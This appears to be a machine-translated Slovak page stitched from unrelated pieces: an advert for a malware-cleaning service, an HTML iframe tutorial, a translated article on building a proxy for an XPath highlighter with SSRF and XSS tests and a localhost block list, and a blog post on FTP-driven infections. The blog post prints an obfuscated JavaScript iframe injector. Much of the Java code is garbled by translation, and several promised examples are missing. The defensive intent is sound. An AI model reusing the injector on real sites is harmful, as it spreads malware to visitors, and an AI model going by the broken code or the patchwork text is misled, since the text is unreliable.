Ako vložiť iframe do HTML: príklad použitia. Iframe a Frame - čo sú a ako najlepšie používať rámce v Html Zmena relatívnych adries URL na absolútne v kóde stránky

Jedným z najbežnejších spôsobov infikovania počítača návštevníkov webových stránok je zneužitie zraniteľnosti spojenej s pretečením vyrovnávacej pamäte prehliadača používateľa. Recept je celkom jednoduchý. Útočníci zavádzajú škodlivý kód vložením prvkov iframe do webových stránok a pokúšajú sa stiahnuť škodlivé súbory do počítača nič netušiaceho používateľa. Je celkom ľahké odhaliť takéto škodlivé vložky na vašich webových stránkach. Musíte len venovať pozornosť fragmentom kódu, ktoré používajú pripojenie iframe. Takéto vložky môžu byť v súboroch HTML aj PHP.

Útočníci sa takmer vždy snažia pred vlastníkmi čo najviac skryť používanie škodlivých stávok, vizuálne ich skrývajú pre používateľov zdrojov a zahmlievajú (zahmlievajú) ich kód.

Skrytie vložiek prvkov iframe pred očami používateľov

Na zamaskovanie záškodníckej vložky používajú hackeri vo väčšine prípadov stále dokola rovnakú metódu – vlastnosti značky nastavia tak, aby sa nezobrazovala na stránke, ale bola obsiahnutá v jej kóde. Najčastejšie sa šírka a dĺžka nastavuje na nulu alebo jeden pixel: width="1px", height="1px".

Škodlivý kód môže vyzerať napríklad takto:

Hackeri sa však často neobmedzujú len na takéto maskovanie a dopĺňajú utajovanie sofistikovanejšími technikami, ktoré môžu zmiasť a skomplikovať hľadanie a elimináciu aj pre pokročilých programátorov.

Zahmlievanie

Toto je jedna z najbežnejších metód ochrany kódu pri programovaní v neštruktúrovaných jazykoch (ako je napríklad PHP). V skutočnosti je celé šifrovanie o miešaní/zahmlievaní samotného kódu zmenou názvov premenných a iných prvkov. V dôsledku toho je pomerne ťažké rozpoznať znaky škodlivosti v zahmlenom kóde a je to možné len na základe nepriamych znakov explicitného použitia špeciálnych funkcií JS (JavaScript) používaných špeciálne na zahmlievanie: unescape , fromCharCode .

Objavenie zahmleného kódu na webovej stránke však neznamená, že je určite škodlivý alebo ľahko odstrániteľný. Najprv musíte pochopiť, že útočníci by mohli zahmliť kód a tiež zachytiť časť pracovného kódu stránky. V tomto prípade, keď sa pokúsite vystrihnúť zašifrovaný fragment, riskujete zlyhanie vášho zdroja. Po druhé, zahmlený kód nemusí byť škodlivý, ale len dôsledkom fungovania vášho CMS alebo jeho jednotlivých komponentov, ako aj dodatočných modulov, ktoré ste nainštalovali.

V každom prípade, ak narazíte na podozrivý zahmlený kód, musíte konať s maximálnou opatrnosťou.

Iné príznaky infekcie

Ak máte pochybnosti, či je kód, ktorý ste našli, škodlivý, môžete skúsiť analyzovať nepriame znaky. Ak máte na svojom webe veľké množstvo súborov, možno budete chcieť venovať pozornosť dátumu a času posledná zmena súbory. Ak dobre poznáte scenáre toho, ako váš CMS pracuje so súbormi, môžete sa bližšie pozrieť na súbory zmenené v rovnaký dátum v rovnakom čase alebo so zmenami vyskytujúcimi sa v rovnakom časovom intervale, napríklad 1 sekunda.

Ak ste pokročilý programátor, môžete napísať skript, ktorý skontroluje prítomnosť typu vložiek, ktoré ste zistili vo všetkých súboroch na vašom webe. Ak ste ešte pokročilejší, môžete skript prinútiť vystrihnúť vložky, vždy však musíte byť opatrní.

Alternatívne metódy

Odporúčame vám použiť službu Virusday na odstránenie škodlivých vložiek, aj keď ste pokročilý špecialista. Naša služba obsahuje nielen množstvo podpisov, ktoré sa dajú použiť na nájdenie škodlivých kódov, ale šetrí aj čas! Navyše, náklady na používanie Virusday na čistenie budú pravdepodobne oveľa nižšie, ako keby ste platili za svoj vlastný čas. Budete môcť odhaliť a odstrániť nielen vložky iframe, ale aj mnohé ďalšie hrozby. Pravdepodobne budete môcť nájsť a automaticky odstrániť hrozbu, ktorá spôsobila, že sa na vašom webe objavili vložky iframe, ako napríklad Shell.

Servisný tím Virusday.

Na úsvite tvorby webových stránok webové zdroje široko používali rámce na zobrazenie jednotlivých častí stránok. Ale s príchodom Nová verzia HTML 5 všetko zmenilo. Prvky značiek a sú zastarané. Nahradil ich jediný tag - . Ako pridať do html? Príklad nižšie bude jasný aj začiatočníkovi v programovaní.

Čo sú rámy?

Rám je základom väčšiny prvých webových stránok. Ak je toto slovo preložené doslovne, znamená „rám“, to znamená, že rám je malá časť stránky v prehliadači. Široké používanie rámcov v minulosti možno vysvetliť nízkou kvalitou a vysokými nákladmi na internetový prenos. Stránka bola spravidla rozdelená na 3 až 5 častí, z ktorých každá slúžila konkrétnemu účelu:

  • „hlavička“ (horný rám pozdĺž šírky stránky) - zobrazuje názov zdroja;
  • ľavé/pravé „sklo“ - zobrazenie menu;
  • Centrálny rám je zobrazenie obsahu stránky.

Rozdelenie stránky na časti umožnilo pri aktualizácii preťažiť len určitú časť. Používateľ napríklad klikol na položku ponuky a do centrálneho rámca sa stiahol nový obsah.

Moderné rámce v HTML 5

Prečo je to potrebné v HTML? Príkladom je vkladanie obsahu zo zdroja tretej strany. Klasická situácia je, keď webový vývojár chce zobraziť polohu objektu na mape. Čo mám robiť? Nakresliť plán lokality od začiatku? Nie – existuje jednoduchšie riešenie: vložte na stránku prvok Google Map, Yandex Maps alebo 2GIS. Problém je vyriešený v štyroch krokoch.

  • Musíte prejsť na webovú stránku akejkoľvek mapovacej služby.
  • Nájdite požadovaný objekt. Keď poznáte presnú adresu, môžete ju zadať do vyhľadávacieho okna.
  • Pomocou tlačidla „Uložiť a získať kód“ (pre Yandex.Maps) alebo „Hotovo“ (pre Google Mapy) získajte kód na vloženie.
  • Zostáva len zadať vygenerované značkovacie značky na stránku.
  • Okrem toho môžete vybrať veľkosť mapy a nakonfigurovať ďalšie možnosti zobrazenia.

    Ako inak ho môžete použiť v HTML?? Príkladom je vkladanie video materiálov zo zdroja Youtube. Multimediálne technológie priťahujú používateľov internetu, a preto je video obsah taký populárny. Vývojár zvládne inštaláciu videa rýchlo.

  • Mali by ste nahrať svoje vlastné video na Youtube alebo nájsť súbor tretej strany na vysielanie.
  • Značku získate výberom tlačidla „HTML Code“.
  • Posledným krokom je vloženie do . Príklad výsledného obsahu značky bude diskutovaný nižšie.
  • Oba príklady používali automatické generovanie kódu, no profesionálni vývojári by mali byť schopní písať kód sami. Po prvé, umožní im to pochopiť rozloženie stránky a v prípade potreby ju upraviť. Po druhé, označenie prvkov lokality (aj keď patria k externému zdroju) sa nie vždy vytvára bez účasti správcu webu. Tu vstupuje do hry vysoká kvalifikácia vývojára.

    Syntax

    Takže predtým, ako začnete s rozložením stránky, musíte zvážiť značku iframe (html): čo to je a ako ju správne používať.

    V prvom rade si treba uvedomiť, že tag je spárovaný. Medzi otváracím a zatváracím prvkom určíte obsah, ktorý sa bude zobrazovať v prehliadačoch, ktoré nepodporujú tento značkovací prvok. Hlavné atribúty značky:

    • šírka (šírka);
    • výška (výška);
    • src (adresa prevzatého zdroja);
    • zarovnať (metóda zarovnania);
    • rámová hranica;
    • povolená celá obrazovka.

    Kód pre . Príklad HTML je uvedený nižšie:

    Vo vyššie uvedenom označení stačí nahradiť adresu stránky akoukoľvek inou a v prípade potreby upraviť veľkosť rámca.

    Element

    Rámy

    Čo to robí?

    Ako vložiť stránku do HTML stránky? Na to je potrebné použiť , ktorý v aktuálnom dokumente vytvorí vložený rámec, v ktorom je zobrazený iný HTML dokument.

    Displej

    Zobrazovací blok.

    Príklad kódu

    Výkonný a zároveň ľahko použiteľný

    V starých zlých časoch webdizajnu existovalo veľa prvkov, ktoré ničili život každého vývojára. Takmer vždy išlo o zlý dizajnový prístup. Našťastie bol prvok v HTML5 zastaraný. Ale alebo "inline rám" je stále k dispozícii. Bude v ďalšej verzii zastaraná? Možno by sme sa tomu mali vyhnúť? Existuje niekoľko platných použití tohto prvku pri vytváraní stránky HTML. Ale musíte pochopiť, čo to je a ako to funguje, aby ste sa vyhli chybám.

    Podobnosti a rozdiely a

    Oba tieto prvky umožňujú vytvoriť samostatný dokument HTML. Odkaz na obsah dokumentu, na ktorý odkazuje aktuálna webová stránka, je špecifikovaný v atribúte src.

    . . . . . .

    Hlavný rozdiel medzi a je v tom, že presadzuje pravidlo, že HTML dokument má prednosť. Obsah sa zobrazuje v rámci prvku, ktorý je súčasťou aktuálneho dokumentu. Ako príklad si predstavte toto vložené video prevzaté zo služby YouTube:

    Video je jasne na stránke HTML a nie na niektorých samostatný panel. prvok porušil túto paradigmu a umožnil dokumentu vykonávať kontrolu nad oknom prehliadača, pričom ho rozdelil na niekoľko malých panelov (rámcov), z ktorých každý zobrazuje samostatný dokument. Všetky ostatné rozdiely medzi a vyplývajú z tohto základného rozdielu.

    Neprerábajte rozloženia založené na rámoch pomocou prvkov iframe

    Jedného dňa možno budete čeliť úlohe aktualizovať starú webovú stránku, ktorá bola vytvorená pomocou rámcov. Možno budete chcieť použiť rozloženie s pevnou šírkou, aby ste znovu vytvorili rovnakú nočnú moru nezávislých panelov a parapetov. Ale nebudete môcť použiť cieľový atribút otvorte odkaz v samostatnom rámci. Môžete začať hľadať riešenia JavaScript. Prosím nerob to.

    Dobré (a hrozné) využitie

    Existuje niekoľko platných prípadov použitia vytváranie HTML stránky:

    • vkladanie mediálneho obsahu tretích strán;
    • vkladanie vlastného mediálneho obsahu prostredníctvom multiplatformového dokumentu;
    • príklady vloženého kódu;
    • vkladanie „apletov“ tretích strán ako spôsobov platby.

    Tu je niekoľko hrozných prípadov použitia:

    • Fotogaléria;
    • fórum alebo chat.

    Ak potrebujete vložiť nezávislé, už existujúce HTML dokumenty do aktuálneho dokumentu, použite . Ak všetko vytvárate od začiatku, nie je dôvod rozdeľovať návrh stránky do viacerých samostatných dokumentov. Najmä ak v skutočnosti nejde o nezávislé časti obsahu.

    atribúty iframe
    Názov atribútu Význam Popis
    pieskovisko Povoliť rovnaký pôvod
    Povoliť hornú navigáciu
    Povolené formuláre
    Povoliť skripty
    Nastavuje množstvo obmedzení pre obsah načítaný do rámca. Nastavte pred vytvorením stránky HTML.
    rolovanie áno nie auto Určuje, či sa majú v ráme zobrazovať rolky alebo nie. Zastarané v HTML5. Namiesto toho použite CSS.
    názov názov Určuje názov rámca.
    Zarovnať vľavo vpravo hore
    stredné dno
    Určuje zarovnanie rámu vzhľadom na okolité prvky. Je zastaraný. Namiesto toho použite CSS.
    rámová hranica áno (alebo 1)
    č
    Používa sa na povolenie zobrazenia okraja okolo rámu. Zastarané v HTML5. Namiesto toho použite CSS.
    longdesc URL Používa sa na zadanie adresy URL stránky, ktorá obsahuje dlhý popis obsahu rámca. Je zastaraný. Namiesto toho použite CSS.
    šírka okraja pixelov Používa sa na ovládanie šírky výplne od obsahu po okraj rámu. Je zastaraný. Namiesto toho použite CSS.
    src URL Určuje adresu URL dokumentu, ktorá sa má zobraziť v prvku IFRAME.
    vspace pixelov Nastaví zvislé okraje od rámu k okolitému obsahu. Je zastaraný. Namiesto toho použite CSS.
    šírka pixely % Definuje šírku rámu pomocou HTML stránku.

    Táto publikácia je prekladom článku „“, ktorý pripravil priateľský projektový tím

    Vytvorili sme obdobu nástroja Google Webmaster Marker. Dovoľte mi pripomenúť, že Marker je nástroj v účte Google Webmaster, ktorý vám umožňuje anotovať vaše stránky Open Graph značkami. Ak to chcete urobiť, jednoducho vyberte časť textu na stránke pomocou myši a označte, že toto je názov a toto je hodnotenie. Vaša stránka sa načíta do prvku iframe v účte správcu webu.

    Teraz, keď Google narazil na podobnú stránku na vašom webe, už vie, aký druh obsahu je na nej zverejnený a ako ho krásne analyzovať do jeho podstaty (článok, produkt, video..)

    Potrebovali sme podobnú funkčnosť. Úloha sa zdala jednoduchá a výlučne zo strany klienta. V praxi sa však riešenie nachádza na priesečníku strany klienta a strany servera („čistí“ programátori JS nemusia vedieť nič o rôznych proxy serveroch a prístup k projektu im trvá veľmi dlho). Na internete som však nenašiel článok, ktorý by popisoval celú technológiu od začiatku až do konca. Tiež by som sa chcel poďakovať používateľovi BeLove a našim ochrankárom za pomoc.

    V našom prípade sme chceli, aby webmaster mohol pohodlne (kliknutím myšou) získať hodnotu xPath pre určité prvky na svojej stránke.

    Iframe “Same Origin” A tak v našom admin paneli musí človek zadať URL stránky svojej stránky, my ju zobrazíme v iFrame, človek ukáže myšou tam, kde je to potrebné, dostaneme požadovanú xPath. Všetko by bolo v poriadku, ale nemáme prístup k obsahu stránky z inej domény načítanej do iframe v našom admin paneli (naša doména), kvôli bezpečnostnej politike prehliadača.CORS – zdieľanie zdrojov medzi zdrojmi Niektorí ľudia mi poradili použiť CORS. Módna technológia, ktorá rieši mnohé problémy s prístupom k obsahu z inej domény v prehliadači a umožňuje vám obísť rovnaké obmedzenia politiky pôvodu.
    Stránka, ktorá chce poskytnúť prístup k svojmu obsahu na stránkach domény niekoho iného, ​​jednoducho napíše do hlavičky http:
    Access-Control-Allow-Origin: http://example.com
    A v názve http žiadosť prichádzajúce zo stránky inej domény z prehliadača by malo byť pole pôvodu:
    Pôvod: www.mysupersite.com
    Je jasné, že samotný prehliadač pridá pole pôvodu do požiadavky. Pozrime sa na článok o Habré a uvidíme, že moderné prehliadače pridávajú Origin aj k žiadosti o rovnakú doménu:

    Avšak:

  • prehliadač neuvádza pôvod v hlavičke žiadosti o načítanie stránky v rámci iframe (vie niekto vysvetliť prečo?)
  • nechceme od správcov webu žiadať, aby špecifikovali hlavičku Access-Control-Allow-Origin
  • Iframe sandbox Ďalšia módna technológia. Sandbox je atribút značky iframe. Jedna z hodnôt tohto atribútu môže byť nastavená na allow-same-origin . Predtým, ako som sa začal zaoberať touto témou, nevedel som, čo presne tento atribút robí, ale znelo to veľmi lákavo. Atribút sandbox však jednoducho obmedzuje to, čo môže stránka načítaná v prvku iframe robiť, a nemá žiadny vplyv na problém prístupu k obsahu rámca z nadradeného dokumentu.

    Konkrétne hodnota allow-same-origin (alebo skôr jej absencia) len hovorí, že prvok iframe by sa mal vždy považovať za načítaný z cudzej domény (napríklad nemôžete odoslať Žiadosť AJAX na doménu nadradeného dokumentu)

    Pozrime sa, ako to urobil Google Čas vidieť, ako to urobil veľký brat

    Venujme pozornosť atribútu src prvku iframe: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007..." - naša stránka sa načíta do administračného panela s doména Google. Ďalej je to ešte závažnejšie: dokonca aj skripty a obrázky v zdrojovom dokumente sa spúšťajú cez proxy. Všetky src, href... sú nahradené v html s proxy. Niečo také:

    Všetky zdroje, ktoré používa vaša stránka, sú tiež uložené na serveroch proxy Google. Tu je napríklad tá naša.

    CGIProxy? Okamžite sa zdalo, že na to, aby ste urobili to isté, musíte získať plnohodnotného proxy, ako je CGIProxy. Tento proxy server robí približne to isté ako wmthighlighter.googleusercontent.com od Google
    Navštívte adresu URL skriptu a spustite reláciu prehliadania. Keď stránku dostanete cez proxy, všetko, na čo odkazuje, automaticky prejde cez proxy. Stránky, ktoré prehliadate, si môžete uložiť do záložiek a vaše záložky prejdú cez proxy server tak, ako to bolo prvýkrát. Váš vlastný proxy! Ak však úlohu zúžite, napísanie jednoduchého proxy sami je oveľa jednoduchšie. Faktom je, že Google to robí, odosielanie všetkého obsahu stránky cez proxy nie je vôbec potrebné. Potrebujeme iba html ľubovoľnej stránky, ktorá sa má obsluhovať z našej domény, a zdroje je možné načítať z pôvodnej domény. HTTPS sme zatiaľ zavrhli.
    Tu nie je potrebný super výkon ani pohodlné nastavenia, a to sa dá urobiť rýchlo a pomocou čohokoľvek, od node.js až po php. Napísali sme servlet v jazyku Java Stiahnite si stránku Čo by mal robiť proxy servlet? Pomocou parametra get získame adresu URL stránky, ktorú je potrebné načítať, a následne stránku stiahnuť.

    Nezabudnite určiť kódovanie stránky (prostredníctvom odpovede http alebo znakovej sady v html) – náš proxy musí odpovedať v rovnakom kódovaní ako stránka, ktorú sme načítali. Pre každý prípad zadefinujeme aj typ obsahu, aj keď je jasné, že stránku dostávame v texte/html a vrátime to rovnakým spôsobom.
    final String url = request.getParameter("url"); final HttpGet requestApache = new HttpGet(url); final HttpClient httpClient = new DefaultHttpClient(); final HttpResponse responseApache = httpClient.execute(requestApache); final HttpEntity entity = responseApache.getEntity(); konečné kódovanie reťazca = EntityUtils.getContentCharSet(entita); final String mime = EntityUtils.getContentMimeType(entita); String responseText = IOUtils.toString(entity.getContent(), kódovanie);
    *Pre tých, ktorí radi hodnotia kód iných ľudí: v našom tíme má každý rovnaké nastavenie formátovania kódu eclicpse a pri ukladaní súboru sám eclipse pridá konečnú hodnotu všetkým premenným, ak sa nikde inde nezmenia. Čo je, mimochodom, v konečnom dôsledku celkom pohodlné.

    Zmena relatívnych URL na absolútne URL v kóde stránky Musíte prejsť všetky atribúty s src a href na stránke (cesty k súborom štýlov, obrázky) a nahradiť relatívne URL absolútnymi. V opačnom prípade sa stránka pokúsi stiahnuť obrázky z niektorých priečinkov na našom serveri proxy, ktoré prirodzene nemáme. Každý jazyk má pripravené triedy alebo môžete nájsť úryvky kódu na stackoverflow:
    konečné URI uri = nové URI(url); final String host = uri.getHost(); responseText = nahraditRelativeLinks(hostiteľ, text odpovede); Odosielanie html To je všetko, proxy servlet je pripravený. Odošleme odpoveď s nastavením požadovaného kódovania a pantomimy.
    protected void sendResponse(HttpServletResponse response, String responseText, String encoding, String mime) vyvolá ServletException, IOException ( response.setContentType(mime); response.setCharacterEncoding(encoding); response.setStatus(HttpServletResponse.SC_riter(response).). print(responseText); response.flushBuffer(); ) Nasadenie a test Nasaďte náš proxy servlet na rovnakú adresu ako admin panel adminpanel.indexisto.com, načítajte webovú stránku správcu webu do nášho iframe cez proxy a všetky problémy medzi doménami zmiznúť.
    Náš proxy funguje na
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - takto sa načíta hub z našej domény. Dáme túto adresu do iframe a pokúsime sa dostať do DOM stromu hubu cez JS v admin paneli - všetko funguje. CSRF prirodzene nebude fungovať, pretože stránka bola načítaná z nášho servera proxy, ktorý nemá súbory cookie. Problém SSRF Načítajme stránku s adresou „localhost“ do nášho prvku iframe - ups, ide to úvodná stránka náš nginx. Skúsme nejaký interný (navonok neviditeľný) zdroj v rovnakej sieti ako náš proxy server. Napríklad secure_crm.indexisto.com - všetko je na svojom mieste.
    Samozrejme sa snažíme zakázať tieto veci v našom proxy, ak sa niekto pokúsi použiť proxy localhost, ukončíme sa bez toho, aby sme čokoľvek vrátili:
    if (url.contains("localhost")||url.contains("127")||url.contains("zvýraznenie")||url.contains("súbor")) ( LOG.debug("Pokúšam sa získať miestny zdroj. Url = " + url); návrat; )
    ale jednoznačne tu neuvedieme všetky sieťové zdroje. To znamená, že musíme presunúť proxy do úplne izolovaného prostredia, aby stroj nevidel nič okrem internetu, seba a nášho proxy. Vyberieme stroj, nakonfigurujeme a tam spustíme náš servlet Problém XSS Nahrajme našu stránku do nášho iframe, na ktorý budeme písať:
    upozornenie("xss")
    Objaví sa upozornenie. žiaľ. Dá sa to obísť atribútom iframe sandbox allow-scripts, ale čo staršie prehliadače, ktoré tomuto atribútu v skutočnosti nerozumejú? Svoje sušienky môžete iba ukradnúť, ale stále ich nemôžete nechať tak.
    Presunieme servlet nielen na samostatný stroj, ale dáme mu aj samostatnú subdoménu highlighter.indexisto.com .

    Prišli sme, zlomili sme naše vlastné riešenie obchádzaním obmedzení medzi doménami. Teraz sa znova nedostaneme k obsahu prvku iframe.

    Pokračujúc v hľadaní riešenia od spoločnosti Google som otvoril našu stránku poskytovanú prostredníctvom servera proxy v samostatnom okne

    A všimol som si zvláštnu chybu v konzole.
    CrossPageChannel: Nedá sa pripojiť, nie je nastavený objekt rovnocenného okna.
    Ukázalo sa, že organizovanie všetkého bolo komplikovanejšie ako jednoduché načítanie stránky do prvku iframe z vašej domény. Stránky medzi sebou komunikujú. Podľa toho sa presunieme smerom k window.postMessage

    Odoslať správu Bolo neľudské nútiť webmastera vložiť do svojej stránky náš skript, ktorý by zabezpečil výber prvkov stránky pomocou myši a následne by nám bola xPath týchto prvkov odoslaná do nadradeného dokumentu prostredníctvom postMessage. Nikto však nebráni nášmu proxy v vkladaní akýchkoľvek skriptov do stránky načítanej do iFrame.
    Všetky skripty potrebné na implementáciu uložíme do súboru a vložíme ich pred záverečné telo:
    final int positionToInsert = responseText.indexOf(""); final InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); final StringWriter Writer = new StringWriter(); IOUtils.copy(inputStream, zapisovač); final String jsToInsert = Writer.toString(); responseText = responseText.substring(0, positionToInsert) + jsToInsert + responseText.substring(positionToInsert, responseText.length());
    na testovanie vložíme upozornenie - všetko funguje Časť JS - pod myšou zvýrazníme prvok house a dostaneme xpath Dobre, prejdime k skutočnému JS, ktorý sme vložili na stránku správcu webu.
    Musíme zvýrazniť dom prvky, nad ktorými človek pohybuje myšou. Je lepšie to urobiť pomocou tieňa, pretože potom sa prvok nepohne a celá stránka bude skákať. Zavesíme onmouseover na telo a pozrieme sa na cieľ akcie. V tom istom obslužnom programe vypočítam xpath prvku. Je lepšie vypočítať xPath prvku na kliknutie, ale ani v tejto implementácii som nezaznamenal žiadne spomalenie.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px červená"; curXpath = getXPathFromElement(ev.target); )
    Neposkytujem tu implementáciu získania xPath prvku DOM. Existuje veľa úryvkov, ako to urobiť. Tieto úryvky môžu byť upravené tak, aby vyhovovali vašim potrebám, napríklad potrebujete iba značky v xpath. Alebo potrebujete ID, ak existujú, a triedy, ak neexistujú žiadne ID - každý má svoje vlastné požiadavky.

    Tu je príklad proxy domovskej stránke Habr s vloženým skriptom:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    Časť JS – spracovanie kliknutia Kliknutie osoby na stránku v rámci iframe okamžite „zhasne“ (odkaz v iframe nebude nasledovaný). Reťazec prijatej cesty xPath tiež odošleme do nadradeného okna (uložili sme ho vo fáze presunu myšou nad prvok)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Zisk! To je všetko, teraz v našom správcovskom paneli môže webmaster rýchlo získať cesty xpath k prvkom na svojich stránkach oveľa jednoduchšie.

    Pridajme ešte nejaké zabezpečenie. Dobre, všetko nám fungovalo, ale je tu problém s tým, že náš proxy vyzerá do sveta úplne nechránený. Ktokoľvek môže zastupovať čokoľvek.

    Dáme nginx pred proxy, počúva port 80 a samotný proxy odstránime na iný port. Zatvoríme všetky ostatné prístavy okrem 80 z vonkajšieho sveta.

    Teraz poďme, aby proxy fungoval iba cez admin panel. V momente, keď webmaster zadá URL svojej stránky, rýchlo bežíme na server, kde vygenerujeme md5 hash z aktuálnej TimeStamp + 1 hodina, samotnú URL a super-tajné keď:
    final String md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; final MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); Kód reťazca = Base64.encodeBase64String(md.digest()); kód = code.replaceAll("/", "_"); kód = code.replaceAll("\\+","-");
    Všimnite si tiež, že v kóde dostávame reťazec md5 nie ako zvyčajný hex, ale v kódovaní base64, plus vo výslednom md5 robíme zvláštne nahradenia lomky a plusových znakov podčiarkovníkmi a pomlčkami.
    Faktom je, že ngnix používa base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
    A Java dáva kanonický base64.

    Po prijatí odpovede zo servera so zabezpečeným md5 v našom správcovskom paneli sa pokúsime načítať nasledujúcu adresu URL do prvku iframe:
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    Teraz nakonfigurujeme modul nginx HttpSecureLinkModule. Tento modul skontroluje md5 všetkých parametrov, ktoré k nemu prišli (v module je zaregistrovaný rovnaký tajný kľúč ako v admin servlete), skontroluje, či bol odkaz analyzovaný a iba v tomto prípade prepošle požiadavku na náš proxy servlet .

    Teraz nikto nemôže použiť náš proxy mimo administračného panela a tiež nemôže nikde vložiť požadovaný obrázok na náš server - aj tak za hodinu zomrie.

    To je všetko, priatelia! Google zašiel so svojím značkovacím nástrojom prirodzene oveľa ďalej. Ak chcete jasne identifikovať prvok na stránke, musíte označiť ten istý prvok (napríklad názov článku) na niekoľkých stránkach rovnakého typu, takže že môžete presnejšie zostaviť xpath a zahodiť rôzne identifikátory, ako napríklad „post-2334“, ktoré budú samozrejme fungovať iba na jednej stránke. V našom paneli správcu je zatiaľ potrebné opraviť xpath ručne, aby sa dosiahol prijateľný výsledok

    Chcel som začať svoj blog textami, ale bol to taký turbulentný týždeň, že som sa rozhodol všetkých pozdraviť vecným článkom. Ahoj!

    A celý týždeň prešiel vo vojnách s neustálym hackovaním môjho hostingu a infikovaním všetkých súborov JavaScript pomocou prvkov iframe, a to nie je menej ako 2500 skriptov a všetkých stránok s vírusmi.

    Nemal som čas vymazať všetky súbory za deň. manuálny mód a meniť heslá, no na druhý deň sa všetko zopakovalo - heslá akosi unikli a k ​​skriptom sa opäť úspešne pristupovalo cez FTP.

    Piatok v týždni bol poslednou kvapkou a ja som strávil deň ochranou svojich serverov:

  • Nakonfigurovaný .ftpaccess na serveroch - čím sa obmedzí FTP prístup k serverom zo všetkých IP adries okrem vašej statickej;
  • Napísal som skript na automatické odstránenie prvkov iframe a vírusov zo všetkých súborov .js. Takže po poriadku.
  • Infekcia súborov stránok nastáva jednoduchým vložením kódu iframe do súborov cez ftp. Predtým som častejšie pozoroval vkladanie do súborov .php, .html - čo viedlo k úplnému pádu stránok, dnes sa malvér stal láskavejším a začal písať výlučne inserty v súboroch s príponou .js - JavaScript . Vložky IFRAME sa zapisujú na koniec súboru a môžu byť buď v explicitnej forme (ľahko detekované antivírusmi) alebo v kódovanej forme (práce rôznych kryptorov iframe), napríklad:

    skúste ( q= document.createElement ("u" ) ; q.appendChild (q+ "" ) ; ) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; ) skúste ( qwe= prototyp ; ) catch (brebr) ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h ) ? "ode" : "" ; w= this ; e= w[ f.substr (11) + zz] ; n= "17$48$55,5$52$46,5$55$49,5$52,5$52$17$17,5$13$58,5$5$4$55,58,5$5$4$3,5$ $55,5$54$51$13$27,5$13$26,5$3,5$2$59,5$17,5$17$17,5$26,5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr (1 ) (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ Reťazec .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) ;) q= ss; e(q) ;)

    try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":"";w=this;e=w;n="17$48$55,5$52$46,5$55$49,5$52,5$52$17$17,5$13$58,5$3,5$2$1,5$56$45,5$3,56$45$1,5$35,65$13$13$13$254$13$ 0,5 $ 2 $ 59,5 $ $17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2 -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e(q ;)

    Celý tento symbolický chaos vznikol JavaScript práca sa zmení na ľahko čitateľný HTML kód vloženia iframe a stiahne telo vírusu používateľovi stránky pomocou operácie exploit. Na základe tejto minimálnej teórie sa začneme chrániť pred infekciami webových stránok.

    Settings.ftpaccess – obmedzenie prístupu FTP k serverom

    Vírusy, ktoré okrádajú vaše heslá na ftp, sú také prefíkané, že antivírusy sú často bezmocné a heslá unikajú bez ohľadu na to, ako tvrdo sa chránite. Navrhujem ísť inou cestou - a jednoducho zablokovať prístup k vášmu ftp. Ak chcete povoliť prístup FTP iba ​​z určitých adries IP, umiestnite súbor .ftpaccess s obsahom do koreňového adresára vášho servera alebo priečinka lokalít:

    Povoliť od xx.xx.xx.xx Povoliť od xx.xx.xx.xx Zakázať od všetkých

    Kde xx.xx.xx.xx je vaša IP adresa, z ktorej je povolená FTP aktivita, zbohom všetkým ostatným.

    Pre vyhradenú IP zavolajte svojho poskytovateľa!

    Ak stále nemôžete získať vyhradenú adresu, ale máte dynamické adresy, môžete určiť rozsah adries, z ktorých vám poskytovateľ internetu poskytuje adresy IP, napríklad to bude vyzerať takto:

    Povoliť 212.32.5.0/26 Povoliť 158.152.0.0/16 Odmietnuť všetkým

    To obmedzí prístup hackerov k vašim serverom.

    Skript automatického odstránenia zo všetkých vložených súborov iframe

    Keď boli servery chránené, začal som písať skript, ktorý by mohol skontrolovať web na prítomnosť vírusov a prešiel by všetky hostiteľské priečinky a skontroloval som formáty súborov, ktoré som určil na prítomnosť prvkov iframe v obsahu. Výsledkom práce bol nasledujúci skript, ktorý odstraňuje vloženie škodlivého kódu zo stránok lokality, na konkrétnom príklade zo skriptov .js:

